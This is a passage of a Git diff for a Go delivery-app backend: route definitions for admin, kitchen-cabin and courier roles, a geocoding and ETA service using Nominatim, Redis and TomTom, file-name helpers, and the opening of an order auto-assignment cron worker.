// RECHERCHE DU LIVREUR LE PLUS PROCHE
// ============================================
adminGroupV2.POST("/delivery/nearest", handlers.FindNearestDeliveryPerson)
adminGroupV2.POST("/delivery/distances", handlers.GetAllDeliveryDistances)
// ============================================
// GESTION DES QUEUES DES LIVREURS
// ============================================
adminGroupV2.GET("/delivery/queues", handlers.GetAllDeliveryQueues)
adminGroupV2.GET("/delivery/:username/queue", handlers.GetDeliverymanQueue)
// ============================================
// GÉOCODAGE (Admin uniquement)
// ============================================
adminGroupV2.POST("/validate-address", handlers.ValidateAddress)
adminGroupV2.POST("/geocode", handlers.GeocodeAddress)
// ============================================
// GESTION LIVREURS
// ============================================
adminGroupV2.GET("/delivery-persons", handlers.GetAvailableDeliveryPersons)
adminGroupV2.GET("/delivery-persons/:username", handlers.GetDeliveryPersonDetails)
adminGroupV2.POST("/delivery-persons/:username/assign/:command_id", handlers.AssignDeliveryPerson)
adminGroupV2.PUT("/delivery-persons/:username/status", handlers.UpdateDeliveryPersonStatusAdmin)
adminGroupV2.GET("/delivery-persons/:username/stats", handlers.GetDeliveryPersonStats)
adminGroupV2.GET("/delivery-persons/:username/history", handlers.GetDeliveryPersonHistory)
adminGroupV2.GET("/delivery-persons/:username/location", handlers.GetDeliveryPersonLocation) // ⭐ AJOUTÉ
adminGroupV2.PUT("/delivery-persons/update/:username/location", handlers.UpdateDeliveryPersonLocationAdmin)
adminGroupV2.DELETE("/delivery-persons/:username/queue/:command_id", handlers.RemoveCommandFromQueue)
adminGroupV2.GET("/delivery-persons/:username/map-links", handlers.GetDeliveryPersonMapLinks)
// Commandes annulées
adminGroupV2.GET("/orders/cancelled", handlers.GetAllCancelledOrders)
// ============================================
// ⭐⭐ PÉNALITÉS - GESTION ADMIN
// ============================================
adminGroupV2.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
adminGroupV2.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
adminGroupV2.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset pénalités
adminGroupV2.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
adminGroupV2.GET("/penalties/stats", handlers.GetPenaltiesStats)
// ============================================
// ⭐⭐ ALERTES POLICE - GESTION ADMIN
// ============================================
adminGroupV2.GET("/alerts/:id", handlers.GetAlert) // Détails d'une alerte
adminGroupV2.DELETE("/delete/alerts/:id", handlers.DeleteAlert) // Supprimer une alerte
adminGroupV2.GET("/alerts", handlers.GetActiveAlerts) // ⭐ AJOUTÉ - Toutes les alertes actives
adminGroupV2.GET("/all/alerts", handlers.GetAllAlerts)
}
// ============================================
// 👨‍💼 CABINE ROUTES (v1) - AVEC CABINE MIDDLEWARE
// ============================================
cabineGroupV1 := router.Group("/api/v1/cabine")
cabineGroupV1.Use(middleware.CabineMiddleware)
{
cabineGroupV1.GET("/commands/:id/items", handlers.ShowItems)
cabineGroupV1.PUT("/items/:item_id/status", handlers.UpdateItemStatus)
cabineGroupV1.GET("/commands/:id/deliveryman/location", handlers.GetDeliverymanLocationForCommand)
cabineGroupV1.GET("/all/deliveryman", handlers.GetAllDeliveryMen)
cabineGroupV1.DELETE("/commands/:id", handlers.DeleteCommandByCabine)
// ⭐ NOUVEAU - ANNULATION PAR CABINE
cabineGroupV1.GET("/commands/cancelled", handlers.GetAllCancelledOrders)
cabineGroupV1.POST("/penalty", handlers.ApplyClientPenalty) // Appliquer pénalité
cabineGroupV1.GET("/client/:username/penalties", handlers.GetClientPenaltiesAdmin) // Voir pénalités client
cabineGroupV1.POST("/client/:username/penalties/reset", handlers.ResetClientPenaltiesAdmin) // Reset pénalités
cabineGroupV1.GET("/penalties/all", handlers.GetAllClientsWithPenalties) // Liste clients avec pénalités
cabineGroupV1.GET("/penalties/stats", handlers.GetPenaltiesStats)
// ============================================
// ⭐⭐ ALERTES POLICE - CONSULTATION CABINE
// ============================================
cabineGroupV1.GET("/alerts/:id", handlers.GetAlert) // Détails d'une alerte
cabineGroupV1.GET("/alerts", handlers.GetActiveAlerts) // ⭐ AJOUTÉ - Toutes les alertes actives
cabineGroupV1.GET("/all/alerts", handlers.GetAllAlerts)
}
// ============================================
// 👨‍🚚 LIVREUR ROUTES (v1) - AVEC LIVREUR MIDDLEWARE
// ============================================
livreurGroupV1 := router.Group("/api/v1/livreur")
livreurGroupV1.Use(middleware.LivreurMiddleware)
{
// ============================================
// LIVRAISONS
// ============================================
livreurGroupV1.GET("/deliveries", handlers.GetMyDeliveries) // ✅ Données filtrées
livreurGroupV1.GET("/deliveries/:id", handlers.GetDeliveryDetails) // ✅ Détail filtré
livreurGroupV1.POST("/deliveries/:id/start", handlers.StartDelivery)
livreurGroupV1.PUT("/deliveries/:id/status", handlers.UpdateDeliveryStatus) // ✅ Avec GPS
// ============================================
// POSITION GPS
// ============================================
livreurGroupV1.POST("/location/update", handlers.UpdateLivreurLocation)
livreurGroupV1.GET("/location", handlers.GetMyLocation)
// ============================================
// STATUT LIVREUR
// ============================================
livreurGroupV1.POST("/update/status", handlers.UpdateDeliveryPersonStatus)
livreurGroupV1.GET("/status", handlers.GetMyStatus)
// ============================================
// QUEUE PERSONNELLE
// ============================================
livreurGroupV1.GET("/queue", handlers.GetMyQueue)
// ============================================
// ALERTES POLICE
// ============================================
livreurGroupV1.POST("/alert", handlers.AlertPolice) // ⭐ AJOUTÉ - Créer une alerte
livreurGroupV1.DELETE("/alert/:id", handlers.EndAlert) // Mettre fin à une alerte
livreurGroupV1.GET("/alerts", handlers.GetMyAlerts) // Voir mes alertes
livreurGroupV1.GET("/alert/:id", handlers.GetAlert) // Détail d'une alerte
}
}
// ============================================
// 📝 DOCUMENTATION COMPLÈTE
// ============================================
/*
LISTE COMPLÈTE DES ROUTES:
CLIENT API (v1) - /api/v1
📌 AUTH (PUBLIC)
POST /api/v1/auth/register Créer compte client
POST /api/v1/auth/login Login client
POST /api/v1/auth/logout Logout client
📌 PRODUITS (PUBLIC)
GET /api/v1/products Tous les produits
GET /api/v1/products/:id Un produit
GET /api/v1/products/category/:cat Par catégorie
GET /api/v1/health Health check
📌 GÉOCODAGE (PUBLIC)
POST /api/v1/geocode Convertir adresse en GPS
POST /api/v1/validate-address Valider une adresse
📌 PANIER (AUTH CLIENT) 🔒
POST /api/v1/panier/add Ajouter au panier
GET /api/v1/panier/:username Voir panier
DELETE /api/v1/panier/remove Supprimer du panier
DELETE /api/v1/panier/clear Vider panier
📌 COMMANDES (AUTH CLIENT) 🔒
POST /api/v1/checkout Valider panier AUTO-ASSIGN GPS
GET /api/v1/my-commands Mes commandes avec suivi
GET /api/v1/commands/:id/eta NOUVEAU - ETA de la commande
GET /api/v1/commands/:id/status NOUVEAU - Statut temps réel
GET /api/v1/commands/:id/tracking NOUVEAU - Timeline détaillée
POST /api/v1/commands/:id/approve Approuver livraison
POST /api/v1/commands/:id/cancel NOUVEAU - Annuler commande
GET /api/v1/my-cancellation-history NOUVEAU - Historique annulations
GET /api/v1/my-commands/history NOUVEAU - Historique commandes
GET /api/v1/my-commands/history/detailed NOUVEAU - Historique détaillé
GET /api/v1/commands/:id/history NOUVEAU - Historique d'une commande
📌 PÉNALITÉS (AUTH CLIENT) 🔒
GET /api/v1/penalties NOUVEAU - Voir mes pénalités
📌 PROFIL (AUTH CLIENT) 🔒
PUT /api/v1/profile/update NOUVEAU - Modifier mon profil
ADMIN API (v2) - /api/v2/admin
📌 AUTH (PUBLIC)
POST /api/v2/admin/auth/register Créer compte admin
POST /api/v2/admin/auth/login Login admin
POST /api/v2/admin/auth/logout Logout admin
📌 GESTION UTILISATEURS (AUTH ADMIN) 🔒
GET /api/v2/admin/protected/all/clients Liste tous les clients
GET /api/v2/admin/protected/all/users Liste tous les users
PUT /api/v2/admin/protected/clients/:id NOUVEAU - Modifier un client
PUT /api/v2/admin/protected/users/:id NOUVEAU - Modifier un user
📌 PRODUITS (AUTH ADMIN) 🔒
GET /api/v2/admin/protected/products Tous produits
POST /api/v2/admin/protected/products Créer produit
GET /api/v2/admin/protected/products/:id Détail produit
PUT /api/v2/admin/protected/products/:id Modifier produit
DELETE /api/v2/admin/protected/products/:id Supprimer produit
📌 COMMANDES (AUTH ADMIN) 🔒
GET /api/v2/admin/protected/orders Toutes commandes
GET /api/v2/admin/protected/orders/:id Détail commande
PUT /api/v2/admin/protected/orders/:id/address Modifier adresse
POST /api/v2/admin/protected/orders/:id/force-validate Forcer validation
GET /api/v2/admin/protected/orders/cancelled Commandes annulées
GET /api/v2/admin/protected/commands/:id/deliveryman/location Position livreur pour commande
📌 AUTO-ASSIGNATION GPS (AUTH ADMIN) 🔒
POST /api/v2/admin/protected/orders/:id/auto-assign Assigner 1 commande
POST /api/v2/admin/protected/commands/auto-assign-all Assigner toutes
📌 RECHERCHE LIVREUR (AUTH ADMIN) 🔒
POST /api/v2/admin/protected/delivery/nearest Livreur le plus proche
POST /api/v2/admin/protected/delivery/distances Tous livreurs + distances
📌 GESTION QUEUES (AUTH ADMIN) 🔒
GET /api/v2/admin/protected/delivery/queues Toutes les queues
GET /api/v2/admin/protected/delivery/:username/queue Queue d'un livreur
📌 VISUALISATION (AUTH ADMIN) 🔒
GET /api/v2/admin/protected/delivery/heatmap Heatmap livreurs
📌 GÉOCODAGE (AUTH ADMIN) 🔒
POST /api/v2/admin/protected/geocode Convertir adresse
POST /api/v2/admin/protected/validate-address Valider adresse
📌 GESTION LIVREURS (AUTH ADMIN) 🔒
GET /api/v2/admin/protected/delivery-persons Liste livreurs
GET /api/v2/admin/protected/delivery-persons/:username Détails d'un livreur
GET /api/v2/admin/protected/delivery-persons/:username/stats Statistiques livreur
GET /api/v2/admin/protected/delivery-persons/:username/history Historique livreur
GET /api/v2/admin/protected/delivery-persons/:username/location NOUVEAU - Position GPS livreur
PUT /api/v2/admin/protected/delivery-persons/:username/location Modifier position livreur
PUT /api/v2/admin/protected/delivery-persons/:username/status Modifier statut livreur
POST /api/v2/admin/protected/delivery-persons/:username/assign/:command_id Assigner manuellement
DELETE /api/v2/admin/protected/delivery-persons/:username/queue/:command_id Retirer de la queue
GET /api/v2/admin/protected/delivery-persons/:username/map-links Liens carte
📌 PÉNALITÉS (AUTH ADMIN) 🔒
POST /api/v2/admin/protected/penalty Appliquer pénalité
GET /api/v2/admin/protected/client/:username/penalties Voir pénalités client
POST /api/v2/admin/protected/client/:username/penalties/reset Reset pénalités
GET /api/v2/admin/protected/penalties/all Tous clients avec pénalités
GET /api/v2/admin/protected/penalties/stats Stats pénalités
CABINE API (v1) - /api/v1/cabine
📌 GESTION ITEMS (AUTH CABINE) 🔒
GET /api/v1/cabine/commands/:id/items Voir items d'une commande
PUT /api/v1/cabine/items/:item_id/status Changer statut item
GET /api/v1/cabine/commands/cancelled Commandes annulées
GET /api/v1/cabine/commands/:id/deliveryman/location Position livreur pour commande
📌 PÉNALITÉS (AUTH CABINE) 🔒
POST /api/v1/cabine/penalty Appliquer pénalité
GET /api/v1/cabine/client/:username/penalties Voir pénalités client
POST /api/v1/cabine/client/:username/penalties/reset Reset pénalités
GET /api/v1/cabine/penalties/all Tous clients avec pénalités
GET /api/v1/cabine/penalties/stats Stats pénalités
LIVREUR API (v1) - /api/v1/livreur
📌 LIVRAISONS (AUTH LIVREUR) 🔒
GET /api/v1/livreur/deliveries Mes livraisons (DONNÉES FILTRÉES)
GET /api/v1/livreur/deliveries/:id NOUVEAU - Détail livraison
POST /api/v1/livreur/deliveries/:id/start Démarrer livraison
PUT /api/v1/livreur/deliveries/:id/status Changer statut (AVEC GPS)
📌 POSITION GPS (AUTH LIVREUR) 🔒
POST /api/v1/livreur/location/update Mettre à jour ma position
GET /api/v1/livreur/location Voir ma position actuelle
📌 STATUT (AUTH LIVREUR) 🔒
POST /api/v1/livreur/status Changer mon statut
GET /api/v1/livreur/status Voir mon statut
📌 QUEUE (AUTH LIVREUR) 🔒
GET /api/v1/livreur/queue Voir ma queue de livraisons
*/
// ============================================
// 🔧 CORRECTIONS APPLIQUÉES
// ============================================
/*
1. Route ETA ajoutée: GET /api/v1/commands/:id/eta
2. Route tracking détaillée: GET /api/v1/commands/:id/tracking
3. Route status temps réel: GET /api/v1/commands/:id/status
4. Panier clear sans :username (utilise JWT)
5. GeoService injecté dans le contexte global
6. Routes livreur pour GPS et statut
7. Routes admin pour gestion manuelle livreurs
8. Routes modification profil CLIENT par le client: PUT /api/v1/profile/update
9. Routes modification profil CLIENT par admin: PUT /api/v2/admin/protected/clients/:id
10. Routes modification profil USER par admin: PUT /api/v2/admin/protected/users/:id
11. Route position GPS livreur par admin: GET /api/v2/admin/protected/delivery-persons/:username/location
*/
+537
View File
@@ -0,0 +1,537 @@
package services
import (
"context"
"encoding/json"
"fmt"
"gestion/models"
"io"
"math"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/redis/go-redis/v9"
)
// ============================================
// CONSTANTES
// ============================================
const (
NominatimBaseURL = "https://nominatim.openstreetmap.org/search"
EarthRadiusKm = 6371.0
DefaultSpeed = 30.0 // km/h en ville
PreparationTime = 5.0 // minutes
TrafficMarginPerKm = 2.0 // minutes par km
MinETA = 3 // ⚡ RÉDUIT: minimum 3 minutes (était 10)
MaxETA = 120 // minutes
GeocacheTTL = 7 * 24 * time.Hour
LocationTTL = 1 * time.Hour
)
// ============================================
// STRUCTURES
// ============================================
type GeoLocation struct {
Latitude float64 `json:"lat,string"`
Longitude float64 `json:"lon,string"`
DisplayName string `json:"display_name"`
}
type Coordinates struct {
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
}
type DeliveryDistance struct {
Username string `json:"username"`
Location Coordinates `json:"location"`
Distance float64 `json:"distance_km"`
EstimatedTime int `json:"eta_minutes"`
}
type GeoService struct {
redis *redis.Client
ctx context.Context
httpClient *http.Client
}
// ============================================
// CONSTRUCTEUR
// ============================================
func NewGeoService(redisClient *redis.Client, ctx context.Context) *GeoService {
return &GeoService{
redis: redisClient,
ctx: ctx,
httpClient: &http.Client{
Timeout: 10 * time.Second,
},
}
}
// ============================================
// GÉOCODAGE - API NOMINATIM
// ============================================
// GeocodeAddress convertit une adresse en coordonnées GPS
func (gs *GeoService) GeocodeAddress(address string) (*GeoLocation, error) {
// 1. Vérifier le cache Redis
location, err := gs.getFromCache(address)
if err == nil {
return location, nil
}
// 2. Appeler l'API Nominatim
location, err = gs.fetchFromNominatim(address)
if err != nil {
return nil, err
}
// 3. Sauvegarder en cache
gs.saveToCache(address, location)
return location, nil
}
// getFromCache récupère depuis le cache Redis
func (gs *GeoService) getFromCache(address string) (*GeoLocation, error) {
key := gs.getCacheKey(address)
data, err := gs.redis.Get(gs.ctx, key).Result()
if err != nil {
return nil, err
}
var location GeoLocation
err = json.Unmarshal([]byte(data), &location)
if err != nil {
return nil, err
}
return &location, nil
}
// saveToCache sauvegarde dans le cache Redis
func (gs *GeoService) saveToCache(address string, location *GeoLocation) error {
key := gs.getCacheKey(address)
data, err := json.Marshal(location)
if err != nil {
return err
}
return gs.redis.Set(gs.ctx, key, data, GeocacheTTL).Err()
}
// fetchFromNominatim récupère les coordonnées depuis l'API
func (gs *GeoService) fetchFromNominatim(address string) (*GeoLocation, error) {
// Vérifier que l'adresse n'est pas vide
address = strings.TrimSpace(address)
if address == "" {
return nil, fmt.Errorf("adresse vide, impossible de géocoder")
}
// Préparer les paramètres URL
params := url.Values{}
params.Set("q", address) // adresse
params.Set("format", "json") // format supporté par Nominatim
params.Set("limit", "1") // une seule réponse
fullURL := fmt.Sprintf("%s?%s", NominatimBaseURL, params.Encode())
fmt.Println("URL Nominatim:", fullURL) // debug
var lastErr error
for i := 0; i < 3; i++ { // retry jusqu'à 3 fois
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
return nil, fmt.Errorf("erreur création requête: %w", err)
}
req.Header.Set("User-Agent", "DeliveryApp/1.0")
resp, err := gs.httpClient.Do(req)
if err != nil {
lastErr = err
time.Sleep(time.Second * time.Duration(i+1)) // délai croissant
continue
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
lastErr = fmt.Errorf("API error: status %d", resp.StatusCode)
time.Sleep(time.Second * time.Duration(i+1))
continue
}
body, err := io.ReadAll(resp.Body)
if err != nil {
lastErr = err
time.Sleep(time.Second * time.Duration(i+1))
continue
}
var locations []GeoLocation
err = json.Unmarshal(body, &locations)
if err != nil {
lastErr = err
time.Sleep(time.Second * time.Duration(i+1))
continue
}
if len(locations) == 0 {
lastErr = fmt.Errorf("adresse introuvable: %s", address)
time.Sleep(time.Second * time.Duration(i+1))
continue
}
return &locations[0], nil // succès
}
return nil, fmt.Errorf("échec après 3 tentatives: %w", lastErr)
}
// getCacheKey génère une clé de cache
func (gs *GeoService) getCacheKey(address string) string {
return fmt.Sprintf("geocode:cache:%s", address)
}
// ============================================
// CALCULS GÉOGRAPHIQUES
// ============================================
// CalculateDistance calcule la distance entre deux points (formule Haversine)
func CalculateDistance(from, to Coordinates) float64 {
// Conversion en radians
lat1Rad := toRadians(from.Latitude)
lon1Rad := toRadians(from.Longitude)
lat2Rad := toRadians(to.Latitude)
lon2Rad := toRadians(to.Longitude)
// Différences
dLat := lat2Rad - lat1Rad
dLon := lon2Rad - lon1Rad
// Formule Haversine
a := math.Sin(dLat/2)*math.Sin(dLat/2) +
math.Cos(lat1Rad)*math.Cos(lat2Rad)*
math.Sin(dLon/2)*math.Sin(dLon/2)
c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))
return EarthRadiusKm * c
}
// CalculateETA calcule le temps estimé d'arrivée en minutes (version locale/fallback)
func CalculateETA(distanceKm float64) int {
// ⚡ AMÉLIORATION: Formule plus réaliste basée sur la distance
if distanceKm < 0.1 {
return MinETA // Très proche: minimum 3 minutes
}
// Temps de trajet basé sur vitesse moyenne en ville (25 km/h avec trafic)
// Plus réaliste que 30 km/h
travelTime := (distanceKm / 25.0) * 60.0
// Ajouter une marge pour le trafic (environ 20%)
totalMinutes := int(travelTime * 1.2)
// Appliquer les limites
if totalMinutes < MinETA {
return MinETA
}
if totalMinutes > MaxETA {
return MaxETA
}
return totalMinutes
}
// CalculateETAWithTomTom calcule l'ETA via TomTom API (précis avec trafic réel)
// Retourne (etaMinutes, distanceKm, error)
func CalculateETAWithTomTom(from, to Coordinates) (int, float64, error) {
apiKey := os.Getenv("TOMTOM_API_KEY")
if apiKey == "" {
// Fallback sur calcul local si pas de clé API
distance := CalculateDistance(from, to)
return CalculateETA(distance), distance, nil
}
// API TomTom Routing: Calculate Route avec trafic
apiURL := fmt.Sprintf(
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
from.Latitude, from.Longitude, to.Latitude, to.Longitude, apiKey,
)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(apiURL)
if err != nil {
// Fallback sur calcul local en cas d'erreur réseau
distance := CalculateDistance(from, to)
eta := CalculateETA(distance)
fmt.Printf("⚠️ TomTom timeout, fallback: %.2f km -> %d min\n", distance, eta)
return eta, distance, nil
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
// Fallback sur calcul local en cas d'erreur API
distance := CalculateDistance(from, to)
eta := CalculateETA(distance)
fmt.Printf("⚠️ TomTom API error %d, fallback: %.2f km -> %d min\n", resp.StatusCode, distance, eta)
return eta, distance, nil
}
body, err := io.ReadAll(resp.Body)
if err != nil {
distance := CalculateDistance(from, to)
return CalculateETA(distance), distance, nil
}
var routeResponse models.RouteResponse
if err := json.Unmarshal(body, &routeResponse); err != nil {
distance := CalculateDistance(from, to)
return CalculateETA(distance), distance, nil
}
if len(routeResponse.Routes) == 0 {
distance := CalculateDistance(from, to)
return CalculateETA(distance), distance, nil
}
summary := routeResponse.Routes[0].Summary
// Calculer ETA en minutes (arrondi supérieur)
etaMinutes := (summary.TravelTimeInSeconds + 59) / 60
distanceKm := float64(summary.LengthInMeters) / 1000.0
// Appliquer minimum
if etaMinutes < MinETA {
etaMinutes = MinETA
}
fmt.Printf("🛣️ TomTom: %.2f km -> %d min (trafic réel)\n", distanceKm, etaMinutes)
return etaMinutes, distanceKm, nil
}
// toRadians convertit des degrés en radians
func toRadians(degrees float64) float64 {
return degrees * math.Pi / 180.0
}
// ============================================
// VALIDATION
// ============================================
// ValidateCoordinates valide des coordonnées GPS
func ValidateCoordinates(coords Coordinates) error {
if coords.Latitude < -90 || coords.Latitude > 90 {
return fmt.Errorf("latitude invalide: %.6f (doit être entre -90 et 90)", coords.Latitude)
}
if coords.Longitude < -180 || coords.Longitude > 180 {
return fmt.Errorf("longitude invalide: %.6f (doit être entre -180 et 180)", coords.Longitude)
}
return nil
}
// IsValidAddress vérifie si une adresse peut être géocodée
func (gs *GeoService) IsValidAddress(address string) bool {
_, err := gs.GeocodeAddress(address)
return err == nil
}
// ============================================
// GESTION DES POSITIONS DES LIVREURS
// ============================================
// SaveDeliveryPersonLocation sauvegarde la position d'un livreur
func (gs *GeoService) SaveDeliveryPersonLocation(username string, coords Coordinates) error {
if err := ValidateCoordinates(coords); err != nil {
return err
}
key := gs.getLocationKey(username)
location := map[string]interface{}{
"latitude": coords.Latitude,
"longitude": coords.Longitude,
"last_update": time.Now().Unix(),
}
data, err := json.Marshal(location)
if err != nil {
return err
}
return gs.redis.Set(gs.ctx, key, data, LocationTTL).Err()
}
// GetDeliveryPersonLocation récupère la position d'un livreur
func (gs *GeoService) GetDeliveryPersonLocation(username string) (*Coordinates, error) {
key := gs.getLocationKey(username)
data, err := gs.redis.Get(gs.ctx, key).Result()
if err != nil {
return nil, fmt.Errorf("position non trouvée: %w", err)
}
var location map[string]interface{}
err = json.Unmarshal([]byte(data), &location)
if err != nil {
return nil, err
}
coords := &Coordinates{
Latitude: location["latitude"].(float64),
Longitude: location["longitude"].(float64),
}
return coords, nil
}
// getLocationKey génère une clé pour la position
func (gs *GeoService) getLocationKey(username string) string {
return fmt.Sprintf("delivery:location:%s", username)
}
// ============================================
// RECHERCHE DE LIVREURS
// ============================================
// FindNearestDeliveryPerson trouve le livreur le plus proche
func (gs *GeoService) FindNearestDeliveryPerson(target Coordinates, availableUsernames []string) (*DeliveryDistance, error) {
if len(availableUsernames) == 0 {
return nil, fmt.Errorf("aucun livreur disponible")
}
var nearest *DeliveryDistance
minDistance := math.MaxFloat64
for _, username := range availableUsernames {
location, err := gs.GetDeliveryPersonLocation(username)
if err != nil {
continue // Ignorer les livreurs sans position GPS
}
distance := CalculateDistance(*location, target)
if distance < minDistance {
minDistance = distance
// ⚡ AMÉLIORATION: Utiliser TomTom pour l'ETA si disponible
eta, _, _ := CalculateETAWithTomTom(*location, target)
nearest = &DeliveryDistance{
Username: username,
Location: *location,
Distance: distance,
EstimatedTime: eta,
}
}
}
if nearest == nil {
return nil, fmt.Errorf("aucun livreur avec position GPS valide")
}
return nearest, nil
}
// FindNearestDeliveryPersonFast trouve le livreur le plus proche (sans TomTom, plus rapide)
func (gs *GeoService) FindNearestDeliveryPersonFast(target Coordinates, availableUsernames []string) (*DeliveryDistance, error) {
if len(availableUsernames) == 0 {
return nil, fmt.Errorf("aucun livreur disponible")
}
var nearest *DeliveryDistance
minDistance := math.MaxFloat64
for _, username := range availableUsernames {
location, err := gs.GetDeliveryPersonLocation(username)
if err != nil {
continue // Ignorer les livreurs sans position GPS
}
distance := CalculateDistance(*location, target)
if distance < minDistance {
minDistance = distance
nearest = &DeliveryDistance{
Username: username,
Location: *location,
Distance: distance,
EstimatedTime: CalculateETA(distance), // Calcul local rapide
}
}
}
if nearest == nil {
return nil, fmt.Errorf("aucun livreur avec position GPS valide")
}
return nearest, nil
}
// GetAllDeliveryDistances retourne tous les livreurs triés par distance
func (gs *GeoService) GetAllDeliveryDistances(target Coordinates, availableUsernames []string) ([]DeliveryDistance, error) {
if len(availableUsernames) == 0 {
return nil, fmt.Errorf("aucun livreur disponible")
}
var distances []DeliveryDistance
for _, username := range availableUsernames {
location, err := gs.GetDeliveryPersonLocation(username)
if err != nil {
continue
}
distance := CalculateDistance(*location, target)
distances = append(distances, DeliveryDistance{
Username: username,
Location: *location,
Distance: distance,
EstimatedTime: CalculateETA(distance),
})
}
// Tri par distance (bubble sort)
for i := 0; i < len(distances)-1; i++ {
for j := 0; j < len(distances)-i-1; j++ {
if distances[j].Distance > distances[j+1].Distance {
distances[j], distances[j+1] = distances[j+1], distances[j]
}
}
}
return distances, nil
}
// ============================================
// HEATMAP ET VISUALISATION
// ============================================
// GetDeliveryHeatmap retourne toutes les positions des livreurs
func (gs *GeoService) GetDeliveryHeatmap() ([]map[string]interface{}, error) {
keys, err := gs.redis.Keys(gs.ctx, "delivery:location:*").Result()
if err != nil {
return nil, err
}
var heatmap []map[string]interface{}
for _, key := range keys {
data, err := gs.redis.Get(gs.ctx, key).Result()
if err != nil {
continue
}
var location map[string]interface{}
json.Unmarshal([]byte(data), &location)
username := key[len("delivery:location:"):]
location["username"] = username
heatmap = append(heatmap, location)
}
return heatmap, nil
}
+66
View File
@@ -0,0 +1,66 @@
// ============================================
// services/tomtom.go - SERVICE TOMTOM ROUTING
// ============================================
package services
import (
"encoding/json"
"fmt"
"gestion/models"
"io"
"log"
"net/http"
"os"
"time"
)
// GetETAWithTraffic calcule l'ETA avec le trafic réel via TomTom
func GetETAWithTraffic(from, to Coordinates) (etaMinutes int, distanceKm float64, err error) {
apiKey := os.Getenv("TOMTOM_API_KEY")
if apiKey == "" {
return 0, 0, fmt.Errorf("TOMTOM_API_KEY non configurée")
}
// API TomTom Routing: Calculate Route avec trafic
url := fmt.Sprintf(
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
from.Latitude, from.Longitude, to.Latitude, to.Longitude, apiKey,
)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(url)
if err != nil {
return 0, 0, fmt.Errorf("erreur requête TomTom: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return 0, 0, fmt.Errorf("erreur API TomTom %d: %s", resp.StatusCode, string(body))
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return 0, 0, fmt.Errorf("erreur lecture: %w", err)
}
var routeResponse models.RouteResponse
if err := json.Unmarshal(body, &routeResponse); err != nil {
return 0, 0, fmt.Errorf("erreur parsing: %w", err)
}
if len(routeResponse.Routes) == 0 {
return 0, 0, fmt.Errorf("aucun itinéraire trouvé")
}
summary := routeResponse.Routes[0].Summary
// Calculer ETA en minutes (arrondi supérieur)
etaMinutes = (summary.TravelTimeInSeconds + 59) / 60
distanceKm = float64(summary.LengthInMeters) / 1000.0
log.Printf("🛣️ TomTom Routing: %.2f km → %d min (trafic inclus)", distanceKm, etaMinutes)
return etaMinutes, distanceKm, nil
}
+32
View File
@@ -0,0 +1,32 @@
package utils
import (
"fmt"
"gestion/db"
"gestion/models"
"math/rand"
"os"
"path/filepath"
)
// --------------------------------------------
// MEDIA
// --------------------------------------------
func GetMediaForProduct(productID int) ([]models.Media, error) {
return db.DB.GetMediaByProductID(productID)
}
// --------------------------------------------
// FILES NAMES
// --------------------------------------------
func GenerateUniqueFileName(productName string, originalFileName string) string {
randomString := fmt.Sprintf("%d", rand.Intn(1000000))
ext := filepath.Ext(originalFileName)
return fmt.Sprintf("%s_%s%s", productName, randomString, ext)
}
func DeleteOldFile(filePath string) error {
return os.Remove(filePath)
}
+189
View File
@@ -0,0 +1,189 @@
package workers
import (
"fmt"
"gestion/db"
"gestion/services"
"log"
"time"
)
// StartAutoAssignmentCron démarre le cron job d'auto-assignation
// Tourne toutes les 1 minute pour assigner les commandes pending
func StartAutoAssignmentCron(database *db.Database, geoService *services.GeoService) {
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
log.Println("⏰ [CRON] Auto-Assignment Worker démarré (1 min) avec système de priorisation")
// Exécution immédiate au démarrage
go processAutoAssignmentWithPriority(database, geoService)
for range ticker.C {
go processAutoAssignmentWithPriority(database, geoService)
}
}
// processAutoAssignmentWithPriority traite les commandes pending par ordre de priorité
func processAutoAssignmentWithPriority(database *db.Database, geoService *services.GeoService) {
log.Println("🔄 [CRON] === Début du cycle d'auto-assignation ===")
// 1. Récupérer les stats
stats, err := database.GetPendingCommandsStats()
if err != nil {
log.Printf("⚠️ [CRON] Erreur récupération stats: %v", err)
} else {
log.Printf("📊 [CRON] Stats: %d commandes pending, attente moyenne: %d min",
stats["total_pending"], stats["avg_waiting_minutes"])
}
// 2. Récupérer toutes les commandes pending triées par ancienneté
commands, err := database.GetAllCommandsOldestFirst("pending", "")
if err != nil {
log.Printf("❌ [CRON] Erreur récupération commandes: %v", err)
return
}
if len(commands) == 0 {
log.Println("✅ [CRON] Aucune commande en attente")
return
}
log.Printf("📋 [CRON] %d commande(s) pending à traiter (ordre: PLUS ANCIENNES → plus récentes)", len(commands))
// 3. Traiter les commandes dans l'ordre de priorité
assignedCount := 0
failedCount := 0
skippedCount := 0
for i, cmd := range commands {
commandID, ok := cmd["id"].(int)
if !ok {
if idFloat, ok := cmd["id"].(float64); ok {
commandID = int(idFloat)
} else {
skippedCount++
continue
}
}
// Log la position dans la queue de priorité
createdAt, _ := cmd["created_at"].(time.Time)
waitingTime := time.Since(createdAt)
priority := i + 1 // Position dans la queue (1 = plus prioritaire)
log.Printf("🎯 [CRON] [PRIORITÉ #%d/%d] Commande ID:%d | Créée: %s | Attente: %d min",
priority, len(commands),
commandID,
createdAt.Format("2006-01-02 15:04:05"),
int(waitingTime.Minutes()))
// Récupérer l'adresse
address, ok := cmd["adresse"].(string)
if !ok || address == "" || address == "Adresse non spécifiée" {
log.Printf("⚠️ [CRON] Commande %d - Adresse invalide, SKIP", commandID)
